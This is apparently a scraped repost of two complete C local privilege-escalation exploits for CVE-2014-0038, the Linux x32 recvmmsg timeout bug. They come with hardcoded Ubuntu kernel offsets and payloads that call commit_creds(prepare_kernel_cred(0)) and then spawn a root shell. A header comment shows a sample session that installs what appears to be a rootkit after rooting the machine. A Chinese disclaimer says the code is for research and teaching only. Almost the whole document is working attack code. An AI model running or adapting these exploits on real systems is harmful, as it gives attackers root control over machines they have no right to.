/* *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y) CVE-2014-0038 / x32 ABI with recvmmsg by rebel @ irc.smashthestack.org ----------------------------------- takes about 13 minutes to run because timeout->tv_sec is decremented once per second and 0xff*3 is 765. some things you could do while waiting: * watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times * read https://wiki.ubuntu.com/Security/Features and smirk a few times * brew some coffee * stare at the countdown giggly with anticipation could probably whack the high bits of some pointer with nanoseconds, but that would require a bunch of nulls before the pointer and then reading an oops from dmesg which isn't that elegant. &net_sysctl_root.permissions is nice because it has 16 trailing nullbytes hardcoded offsets because I only saw this on ubuntu & kallsyms is protected anyway.. same principle will work on 32bit but I didn't really find any major distros shipping with CONFIG_X86_X32=y user@ubuntu:~$ uname -a Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg user@ubuntu:~$ ./recvmmsg byte 3 / 3.. ~0 secs left. w00p w00p! # id uid=0(root) gid=0(root) groups=0(root) # sh phalanx-2.6b-x86_64.sh unpacking.. :)= greets to my homeboys kaliman, beist, capsl & all of #social Sat Feb 1 22:15:19 CET 2014 % rebel % *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* */ #define _GNU_SOURCE #include <netinet/ip.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <unistd.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/utsname.h> #define __X32_SYSCALL_BIT 0x40000000 #undef __NR_recvmmsg #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537) #define VLEN 1 #define BUFSIZE 200 int port; struct offset { char *kernel_version; unsigned long dest; // net_sysctl_root + 96 unsigned long original_value; // net_ctl_permissions unsigned long prepare_kernel_cred; unsigned long commit_creds; }; struct offset offsets[] = { {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10 {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10 {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04 {NULL,0,0,0,0} }; void udp(int b) { int sockfd; struct sockaddr_in servaddr,cliaddr; int s = 0xff+1; if(fork() == 0) { while(s > 0) { fprintf(stderr,"/rbyte %d / 3.. ~%d secs left /b/b/b/b",b+1,3*0xff - b*0xff - (0xff+1-s)); sleep(1); s--; fprintf(stderr,"."); } sockfd = socket(AF_INET,SOCK_DGRAM,0); bzero(&servaddr,sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK); servaddr.sin_port=htons(port); sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr)); exit(0); } } void trigger() { open("/proc/sys/net/core/somaxconn",O_RDONLY); if(getuid() != 0) { fprintf(stderr,"not root, ya blew it!/n"); exit(-1); } fprintf(stderr,"w00p w00p!/n"); system("/bin/sh -i"); } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; // thx bliss static int __attribute__((regparm(3))) getroot(void *head, void * table) { commit_creds(prepare_kernel_cred(0)); return -1; } void __attribute__((regparm(3))) trampoline() { asm("mov $getroot, %rax; call *%rax;"); } int main(void) { int sockfd, retval, i; struct sockaddr_in sa; struct mmsghdr msgs[VLEN]; struct iovec iovecs[VLEN]; char buf[BUFSIZE]; long mmapped; struct utsname u; struct offset *off = NULL; uname(&u); for(i=0;offsets[i].kernel_version != NULL;i++) { if(!strcmp(offsets[i].kernel_version,u.release)) { off = &offsets[i]; break; } } if(!off) { fprintf(stderr,"no offsets for this kernel version../n"); exit(-1); } mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1)); mmapped &= 0x000000ffffffffff; srand(time(NULL)); port = (rand() % 30000)+1500; commit_creds = (_commit_creds)off->commit_creds; prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred; mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0); if(mmapped == -1) { perror("mmap()"); exit(-1); } memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3); memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300); if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) { perror("mprotect()"); exit(-1); } sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd == -1) { perror("socket()"); exit(-1); } sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(port); if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) { perror("bind()"); exit(-1); } memset(msgs, 0, sizeof(msgs)); iovecs[0].iov_base = &buf; iovecs[0].iov_len = BUFSIZE; msgs[0].msg_hdr.msg_iov = &iovecs[0]; msgs[0].msg_hdr.msg_iovlen = 1; for(i=0;i < 3 ;i++) { udp(i); retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i); if(!retval) { fprintf(stderr,"/nrecvmmsg() failed/n"); } } close(sockfd); fprintf(stderr,"/n"); trigger(); }
/* * Local root exploit for CVE-2014-0038. * * https://raw.github.com/saelo/cve-2014-0038/master/timeoutpwn.c * * Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer * passed from userspace. * * Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg, * if the original byte at that address is known it can be overwritten * with known data. * If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00. * * Restrictions: The first long at the passed address (tv_sec) has to be positive * and the second long (tv_nsec) has to be smaller than 1000000000. * * Overview: Target the release function pointer of the ptmx_fops structure located in * non initialized (and thus writable) kernel memory. Zero out the three most * significant bytes and thus turn it into a pointer to an address mappable in * user space. * The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec * is valid). * Open /dev/ptmx, close it and enjoy. * * Not very beautiful but should be fairly reliable if symbols can be resolved. * * Tested on Ubuntu 13.10 * * gcc timeoutpwn.c -o pwn && ./pwn * * Written by saelo */ #define _GNU_SOURCE #include <netinet/ip.h> #include <stdio.h> #include <stdlib.h> #include <time.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/wait.h> #include <sys/mman.h> #define __X32_SYSCALL_BIT 0x40000000 #undef __NR_recvmmsg #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537) #define BUFSIZE 200 #define PAYLOADSIZE 0x2000 #define FOPS_RELEASE_OFFSET 13*8 /* * Adapt these addresses for your need. * see /boot/System.map* or /proc/kallsyms * These are the offsets from ubuntu 3.11.0-12-generic. */ #define PTMX_FOPS 0xffffffff81fb30c0LL #define TTY_RELEASE 0xffffffff8142fec0LL #define COMMIT_CREDS 0xffffffff8108ad40LL #define PREPARE_KERNEL_CRED 0xffffffff8108b010LL typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); /* * Match signature of int release(struct inode*, struct file*). * * See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz */ int __attribute__((regparm(3))) kernel_payload(void* foo, void* bar) { _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; *((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1; // restore pointer commit_creds(prepare_kernel_cred(0)); return -1; } /* * Write a zero to the byte at then given address. * Only works if the current value is 0xff. */ void zero_out(long addr) { int sockfd, retval, port, pid, i; struct sockaddr_in sa; char buf[BUFSIZE]; struct mmsghdr msgs; struct iovec iovecs; srand(time(NULL)); port = 1024 + (rand() % (0x10000 - 1024)); sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd == -1) { perror("socket()"); exit(EXIT_FAILURE); } sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(port); if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) { perror("bind()"); exit(EXIT_FAILURE); } memset(&msgs, 0, sizeof(msgs)); iovecs.iov_base = buf; iovecs.iov_len = BUFSIZE; msgs.msg_hdr.msg_iov = &iovecs; msgs.msg_hdr.msg_iovlen = 1; /* * start a seperate process to send a udp message after 255 seconds so the syscall returns, * but not after updating the timout struct and writing the remaining time into it. * 0xff - 255 seconds = 0x00 */ printf("clearing byte at 0x%lx/n", addr); pid = fork(); if (pid == 0) { memset(buf, 0x41, BUFSIZE); if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { perror("socket()"); exit(EXIT_FAILURE); } sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(port); printf("waiting 255 seconds.../n"); for (i = 0; i < 255; i++) { if (i % 10 == 0) printf("%is/255s/n", i); sleep(1); } printf("waking up parent.../n"); sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa)); exit(EXIT_SUCCESS); } else if (pid > 0) { retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr); if (retval == -1) { printf("address can't be written to, not a valid timespec struct/n"); exit(EXIT_FAILURE); } waitpid(pid, 0, 0); printf("byte zeroed out/n"); } else { perror("fork()"); exit(EXIT_FAILURE); } } int main(int argc, char** argv) { long code, target; int pwn; /* Prepare payload... */ printf("preparing payload buffer.../n"); code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0); memset((void*)code, 0x90, PAYLOADSIZE); code += PAYLOADSIZE - 1024; memcpy((void*)code, &kernel_payload, 1024); /* * Now clear the three most significant bytes of the fops pointer * to the release function. * This will make it point into the memory region mapped above. */ printf("changing kernel pointer to point into controlled buffer.../n"); target = PTMX_FOPS + FOPS_RELEASE_OFFSET; zero_out(target + 7); zero_out(target + 6); zero_out(target + 5); /* ... and trigger. */ printf("releasing file descriptor to call manipulated pointer in kernel mode.../n"); pwn = open("/dev/ptmx", 'r'); close(pwn); if (getuid() != 0) { printf("failed to get root :(/n"); exit(EXIT_FAILURE); } printf("got root, enjoy :)/n"); return execl("/bin/bash", "-sh", NULL); }
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论